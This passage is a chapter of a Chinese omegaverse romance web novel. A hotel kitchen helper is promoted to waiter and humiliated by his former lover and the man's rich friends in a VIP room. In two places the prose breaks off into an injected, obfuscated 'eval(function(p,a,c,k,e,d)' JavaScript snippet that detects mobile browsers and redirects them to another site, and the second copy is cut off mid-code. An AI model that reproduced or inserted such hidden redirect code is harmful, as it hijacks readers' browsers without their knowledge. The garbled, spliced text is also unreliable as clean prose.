哪怕是对曾经有过亲密关系的Omega的仅存的一丝占有欲,哪怕不再含有爱情的成分,那个人应该也不会坐视他投入其他Alpha的怀抱……不,也说不准,毕竟他曾经就是那样无情。 对于不爱的Omega,Alpha一向是足够冷血的。 越是思考,越觉得惶惑,前路昏暗,看不见一丝光明。 梁穗沉重地叹了口气。 看了眼墙上的挂钟,已经快到上班时间,他将自己的书装好,跟老胡打了声招呼,起身朝着巷口的酒店后门方向走去。 - 晚上,依旧是酒店最忙碌的时刻。 梁穗待在后厨,片刻不停地忙活着,好不容易有了点喘息的功夫,忽然听见门外有人喊:“梁穗,你出来一下。” 是经理的声音。 梁穗擦干净手,奇怪地走出去,不知道他找自己一个帮工做什么。 “小梁,”经理脸上带着罕见的温和笑容,将梁穗拉到员工休息室,亲切地问,“你认识苏总?怎么以前也不跟我说一声。” 苏总? 苏总是谁? 梁穗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314672|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上的疑惑太过明显了,经理的神色也因此出现了一瞬的迟疑。但在接了一个电话后,那点迟疑又变成了某种说不清、道不明的了然。 “没事,说不定是从前在哪里有过一面之缘,让苏总记住你了,真是好福气啊。”经理拍拍他的肩,笑意不变,“来,你先把那套衣服换上,待会儿跟我去给客人上菜。” 梁穗顺着经理手指的方向看去,在休息室的桌子上看到一套藏蓝色的员工服,顿时吃了一惊,那是酒店侍应生的统一着装。 这家酒店是洛市有名的五星级酒店,向来以服务周道出名,门童、前台跟负责与客人直接沟通的服务人员对外貌条件卡得极严。当初梁穗本想来这里做侍应生,但面试官嫌他身板太壮实,相貌也不够精致漂亮,并不符合酒店一贯的选人标准,最后只能进了后厨,做些洗洗涮涮的杂活儿。 “小梁,你来咱们酒店也干了一段时间了,我一直留意着你,很不错,是个踏实的人,”经理和气地说,“你们主管那里我已经打好招呼了,等下班了跟我来签份合同,以后就在我手下干吧。” 这就是要调他来做侍应生的意思了。 而且,还打算正式雇佣他。 梁穗眼睛一亮,侍应生的底薪可比后厨帮佣高了不少,提成也高,还给交五险一金,他哪有不愿意的,也没多想,立即点点头,拿起那套员工服准备换上。 经理见状便退出休息室,还体贴地为他关上了门。 制服是贴身的西装款式。采购部门参考的一直是娇小玲珑的Omega员工的尺码,经理拿给梁穗的这一套已经是最大码了,但套在他身上依旧显得过分紧窄。 梁穗吸气吸得自己头晕眼花才勉强扣上衬衫胸前的双排扣,但刚一转身,锁骨下的两粒纽扣就被崩开,唰地弹飞出去。 他大惊失色,在房间里找了一圈都没能找到扣子飞到哪里去了,经理倒没说什么,反而在打量他半晌后,亲自上手将他原本只是微敞的领口拉得更开。 “这样就挺好,更自然。”欣赏着那条几乎从丰满胸怀中央跃然而出的沟壑,经理眼中是藏不住的赞许之色,“走吧,别让苏总等急了。” 苏总……到底是谁啊? 微风穿过走廊,吹得他胸前凉飕飕的。梁穗下意识伸手去拢自己敞开的领口,脑子有点懵。 经理带他去的是顶层的贵宾包厢。 梁穗在这里也工作了几个月了,知道顶层的那几个房间轻易不对外开放,想必那位苏总应该是某位来历不凡的大人物,可是这跟自己有什么关系?为什么苏总要等他? 幸好,经理没让梁穗困惑太久,在电梯里就对他说:“苏总听说小梁你在咱们酒店工作,指名今晚要你负责上菜,这在往常可是别人挤破脑袋也抢不到的好机会。” “小梁,你可一定得把握好这次机会,要是能在贵客面前留个好印象,还愁以后不飞黄腾达吗?” 到底是正经的五星级酒店,经理心中虽然一片火热,但言辞间仍是委婉含蓄,梁穗没听懂,只懵懂地点着头表示附和。 但他并没有懵懂太久。 包厢门开了,梁穗在经理的示意下推着餐车走进去,还没来得及看清贵客的样貌,便听到了一道熟悉得不能再熟悉的冷冽声音: “行了,苏星闻,我没空陪你胡闹,你今天到底要搞什么名堂?” 19.第 19 章 梁穗想,关于那个在自己走投无路时,褚京颐有没有可能出于人道主义而施以援手的问题,他好像已经提前知道答案了。 因为,见到推着餐车出现在包厢里的梁穗的一瞬间,那个人的表情就变成了一种很难用言语形容出来的反感。 像是鄙夷又像是嫌恶,或者二者兼有。冷淡的目光自上而下扫过他包裹在侍应生制服中的身体,在胸口部位停驻一瞬,静默无言,讽刺意味却森然。 仿佛是被那目光刺了一下,梁穗后知后觉地伸手去捂自己敞露的领口,Alpha却在此时出声,语气毫无起伏:“怎么又是你?” 好像面前之人是一块黏定了他不放的狗皮膏药,或是一只死死扒在他脚面甩不掉的癞蛤蟆。 身为Omega的自尊心在这样不客气的审视与质问里难以维持完整,梁穗喉头肌肉发紧,辛辣的热气冲向鼻腔,产生了一种强烈的想要落泪的冲动。 不行,不能哭,因为这样一句话就哭出来的话,好像是在自以为是地朝着对面的Alpha装可怜、撒娇,他不能让自己变得更难堪了。 于是,梁穗只是微微垂下眼,攥了攥颤抖的手掌,装作没有听到这句话,将餐车推到桌边,尽量平静地为客人上菜。 “干嘛啊京颐,这么凶,”一道轻佻的嗓音响起来,“一日夫妻百日恩,总得给点面子情吧。” 梁穗抬起发红的眼睛,这才注意到,除了褚京颐,包厢里还坐着几个Alpha,都很年轻,衣着笔挺,神态不凡,属于那种一眼看过去就知道与普通人隔了十万八千里的另一个阶层。 困扰了梁穗一路的问题也得到了解答。 褚京颐在听到这句话后当即黑了脸,冷冷地瞥了那个嬉皮笑脸的年轻人一眼,“苏星闻,你要真闲着没事干,不如好好想想怎么处理那个为你闹自杀的小明星,要是让舆情影响到了下个月的路演,别怪我翻脸不认人。” 此话一出,这位苏总立即像是被人掐住了七寸,脸上那副看好戏的表情变成了憋屈,嘟囔着解释:“早就叫人把热度压下去了,又不是什么大事。” 他略略收敛了一些,但八卦之心仍是跃跃欲试,安静了一分钟都不到,又转而去问梁穗:“哎,那个谁,你真跟褚二谈过啊?你高中也在西嘉念的?看不出来啊,那你这是,家道中落了?咦,好像没听说过什么破产人家姓梁呀。” “我可是听说你在这儿工作,特地招呼朋友来捧场的,嗨,褚二也真是,分手费都不多给点,褚家又不认外头生的野种,你一个人养得了两个孩子吗?单亲妈妈,还是劣等Omega,想想就好辛苦啊,要不你跟我讲讲你们以前的事,我帮你找褚二再要点抚养费?” 另一个脸上就写着纵情声色的Alpha打了个哈欠,伸长腿从桌下踹他:“越说嘴上越没个把门了苏星闻,你这不是揭人疮疤吗?都几岁了还这么没眼色。” 苏星闻一手撑着下巴,笑嘻嘻说:“聊聊天嘛,有什么关系?你难道不好奇我们褚大情痴这唯、一、一、段过去?梁穗你就讲讲呗。” 梁穗讲不了,也不想讲。 他再蠢也看出来这人是拿自己寻消遣的,甚至他都不能算是主角之一,只是一件用于起哄八卦的道具,用来让褚京颐出糗、丢脸,嘲笑他曾跟自己这种人有过一段这样拿不出手的过去。 不过,只是玩笑。 席间气氛远远没到剑拔弩张的程度,甚至呈现出一种吵吵嚷嚷的和谐,就如苏星闻所说,只是在闲聊,他们并没有将他看得有多重要。 褚京颐知道这小子就是个人来疯的性子,早该想到他今晚极力撺掇自己来这家酒店是别有用心。但来都来了,也懒得搭理他,任凭他跟个狗仔似的围着梁穗问东问西,直逼得那个一向多心又敏感的Omega红了眼眶,像是受到了莫大的羞辱,眼底水光闪动,肩头都在发抖。 知道羞耻也好,省的都快三十的人了还整天做梦。 他漠然地点了支烟,不再看那张泫然欲泣的脸。 “行了,星闻,嘴巴不累吗?歇一歇吧。”陆泽到底心肠软,看不得一个Omega这样窘迫,主动打了圆场,给梁穗塞了一把钞票当小费,温声道,“你先出去吧,有事我们再叫你。” 经理围观了全程,此刻也意识到这群贵客似乎并不是如自己最初设想的那样,心里那些攀龙附凤的小九九也不敢打了,生怕梁穗在这里惹了贵客不快,连忙代他向陆泽连连道谢,而后忙又将人拉出了包厢。 总算走了。 劣质香源的远离让褚京颐烦躁的心绪平复了些许。他端起茶碗一饮而尽,碗底不轻不重磕在大理石桌面上,打断了聊他的八卦聊得热火朝天的几人。 “今晚你们要是只打算谈这些无聊的话题,那我就先走了。” “别啊,这么早回去干什么?”庄楷笑着阻止,“你不知道,星闻这股坏水可憋了好几个月了,为了打听你高中时的那点事,咱们苏大少都快把西嘉上上下下折腾了个底朝天,哈哈。” 褚京颐说:“苏星闻你就是闲得慌。” 苏星闻振振有词:“谁叫你藏得那么深?谈恋爱还瞒着哥们儿是吧?” “我藏个屁,那算什么恋爱。”他不耐烦地弹了弹烟灰。 “就是,我哥心里只有卿玉哥一个人!”贺一诚愤然拍桌,很有些脑残cp粉的架势,“我警告你别造谣啊苏星闻,万一将来让卿玉哥误会了,你罪过可就大发了!” 苏星闻“嘿”了一声,更来劲了:“造谣?你问问你哥我是不是造谣!虽然我上学那会儿褚二他们都毕业了,没能亲眼见证,但跟他同届的谁不知道,他就是跟那个梁穗好过!他俩当年打得可火热了!” 苏星闻有些得意,还有些兴奋,他就知道褚京颐这么多年怎么可能一直为了个睡美人当和尚!瞧瞧,说什么情比金坚忠贞不二,这不是也为了个劣等Omega破戒了吗?褚蓝两家订的可是娃娃亲,哦虽然没有正式订婚,可圈子里谁不知道?褚京颐这事严格说起来就是出轨! “出轨你妈,苏星闻你别这么傻逼行吗?”褚京颐忍不住爆了粗口,“我从来没想过要跟他谈恋爱!都是他一厢情愿缠着我不放!” 庄楷看热闹不嫌事大,也插嘴道:“我作证,确实如此,当年那个Omega成绩挺不错的,听说还是南边某个小县城的预高状元,靠褚家的慈善赞助名额进了西嘉,对京颐一见钟情,倒追了足足一年多,京颐怎么拒绝都没用,被烦得不行,最后只好松口答应跟他做朋友……” 陆泽委婉地表示:“这听起来像某部青春偶像剧的开场。” 苏星闻挤眉弄眼:“哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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经理又唉声叹气了好一阵,梁穗有点明白他想通过自己攀上贵客的算盘落空了,正担心会不会被迁怒,经理却只是摆摆手,拿出之前说好的聘用合同让他签:“算了算了,小梁你也不容易。但你的情况特殊,不能给你单独排班,你以后就在二楼餐厅干吧,我安排几个伶俐的孩子跟你搭班。” 于是,后厨的杂活帮佣梁穗,就这么成功转到了薪资更高待遇也更好的餐厅侍应生岗位,还是正式工。 被轻鄙贬低了一整晚的沮丧与伤心一扫而光,梁穗下班时眼睛里的光亮还未退去,特地拐去甜品吧打包了三块草莓慕斯,打算回家跟孩子们一起庆祝这个好消息。 今晚,包厢里那个笑起来很和气的客人给他打赏了小费,梁穗数了数,有将近四千块,足够他们下个月的日常开支了。 虽然那个人对他的态度还是很坏,虽然最棘手的那个问题还是没有得到解决,但是,他运气还不错,生活似乎在朝着好的方向发展,让他看到了一点类似希望的东西,心中一下子充满了勇气。 走到停车场时,手机忽然收到一条短信提醒。 梁穗一手提包一手拎蛋糕,两手都腾不出空,艰难地掏出手机一看,手上的东西都差点惊掉了。 那是一笔来自穆青青的转账。 紧接着,一则备注着“妈妈”的视频通话弹了出来,质量堪忧的杂牌机嗡嗡震动不停,恰好架在扬声器位置的手指都被震得发麻,一如他扑通扑通失序的心跳。